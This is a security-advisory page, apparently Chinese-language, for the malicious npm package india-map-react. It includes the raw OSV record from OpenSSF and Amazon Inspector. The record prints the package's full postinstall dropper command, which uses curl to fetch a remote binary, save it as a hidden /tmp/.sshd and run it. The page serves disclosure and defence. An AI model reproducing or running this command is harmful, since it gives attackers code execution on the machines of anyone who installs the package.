目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

india-map-react

MAL-2026-5542
2026-06-12 19:46:14
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in india-map-react (npm)

安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
232
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmindia-map-react2.0.1
npmindia-map-react2.0.2
npmindia-map-react2.0.3
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-12T19:46:14Z","published":"2026-06-11T02:02:37Z","schema_version":"1.7.4","id":"MAL-2026-5542","summary":"Malicious code in india-map-react (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a1de9d093e23698e3ad3f0336a7619bd43049d1f62b822744733a48060b51a4a)\npackage.json declares a postinstall hook that runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &`. On every `npm install`, this fetches a binary from a GitHub account ('parikhpreyash4') unrelated to the npm publisher ('yuvrajDurgesh'), with TLS verification disabled (`-k`), follows redirects (`-L`), suppresses all errors (`2>/dev/null`), stages the binary under a deceptive hidden path masquerading as the SSH daemon (`/tmp/.sshd`), marks it executable, and runs it in the background. The URL uses the mutable `latest/download` alias rather than a pinned release with a verified hash, so the author can swap the executed bytes at any time. The package advertises itself as a React component for rendering an India map — there is no legitimate reason for it to fetch and execute a native binary named after a system network daemon. This is a textbook install-time dropper granting arbitrary code execution on every installer's machine.\n","affected":[{"package":{"ecosystem":"npm","name":"india-map-react"},"versions":["2.0.2","2.0.3","2.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"f421e8a50b0668d8fa2f55bb218756ab57cffad78ae73c6525d40575f402b1f6","tlsh":"2e214923c5119d6309bd11a4ac7a4642f6a61b6f50648c8f31b2a17c5bbb1ef119cb68"}],"package_integrity":[{"filename":"india-map-react-2.0.2.tgz","hashes":{"sha1":"0e634bbd8024744ca88bbbbc92a90a29f0d42ec3","sha512_sri":"sha512-DScVhBTTQHggJTobf9nTpGyZHe8FdpNrEL/Wdff/yPojHb2DqPyCspPMdBSVrWHNzyucvxONV2ryWBXAV5fkfg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/india-map-react/v/2.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/india-map-react/v/2.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/india-map-react/v/2.0.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"52ba840948b1421783ed9d4202d4943e23f18b811068449461197ad4eae677d2","import_time":"2026-06-11T02:24:28.60266363Z","id":"IN-MAL-2026-005374","modified_time":"2026-06-11T02:02:37Z","versions":["2.0.2"]},{"source":"amazon-inspector","sha256":"a1de9d093e23698e3ad3f0336a7619bd43049d1f62b822744733a48060b51a4a","import_time":"2026-06-12T19:44:19.454045573Z","id":"IN-MAL-2026-006202","modified_time":"2026-06-12T19:11:10Z","versions":["2.0.3"]},{"source":"amazon-inspector","sha256":"84f0f2638fec512fd21dc02933096f6caf75779d9832db40e53a3add37bcd0f6","import_time":"2026-06-12T19:44:19.349741541Z","id":"IN-MAL-2026-006201","modified_time":"2026-06-12T19:11:08Z","versions":["2.0.1"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0